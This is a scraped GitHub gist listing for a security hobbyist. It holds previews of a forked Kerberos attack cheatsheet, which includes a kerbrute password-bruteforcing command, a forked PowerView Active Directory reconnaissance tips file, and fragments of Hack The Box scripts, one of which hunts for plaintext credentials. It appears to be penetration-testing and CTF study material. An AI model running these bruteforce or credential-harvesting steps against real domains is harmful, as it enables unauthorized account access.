Skip to content

Instantly share code, notes, and snippets.

View m3dsec's full-sized avatar
🎯
Focusing

m3dsec m3dsec

🎯
Focusing
View GitHub Profile
@m3dsec
m3dsec / kerberos_attacks_cheatsheet.md
Created November 27, 2021 13:16 — forked from TarlogicSecurity/kerberos_attacks_cheatsheet.md
A cheatsheet with commands that can be used to perform kerberos attacks

Kerberos cheatsheet

Bruteforcing

With kerbrute.py:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

@m3dsec
m3dsec / PowerView-3.0-tricks.ps1
Created May 28, 2021 18:38 — forked from HarmJ0y/PowerView-3.0-tricks.ps1
PowerView-3.0 tips and tricks
# PowerView's last major overhaul is detailed here: http://www.harmj0y.net/blog/powershell/make-powerview-great-again/
# tricks for the 'old' PowerView are at https://gist.github.com/HarmJ0y/3328d954607d71362e3c
# the most up-to-date version of PowerView will always be in the dev branch of PowerSploit:
# https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
# New function naming schema:
# Verbs:
# Get : retrieve full raw data sets
# Find : ‘find’ specific data entries in a data set
#!/usr/bin/python3
# search in a set of files for a specific file with plaintext creds
# get creeds for Bank machine from HTB
import requests
from bs4 import BeautifulSoup
import re
import time
files = []
#!/usr/share/python3
import pprint
'''
>>> ord('Ú')
218
>>> ord('n')
110
>>> 218-110
108
>>> chr(108)
#python3
import socket
# Define socket host and port
SERVER_HOST = '0.0.0.0'
SERVER_PORT = 8000
# Create socket
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
#!/usr/bin/python
import os
import os.path
from sys import argv
from termcolor import colored
# Hadi ghi 7yt tbn mha mn hna
#script, ip_address, username = argv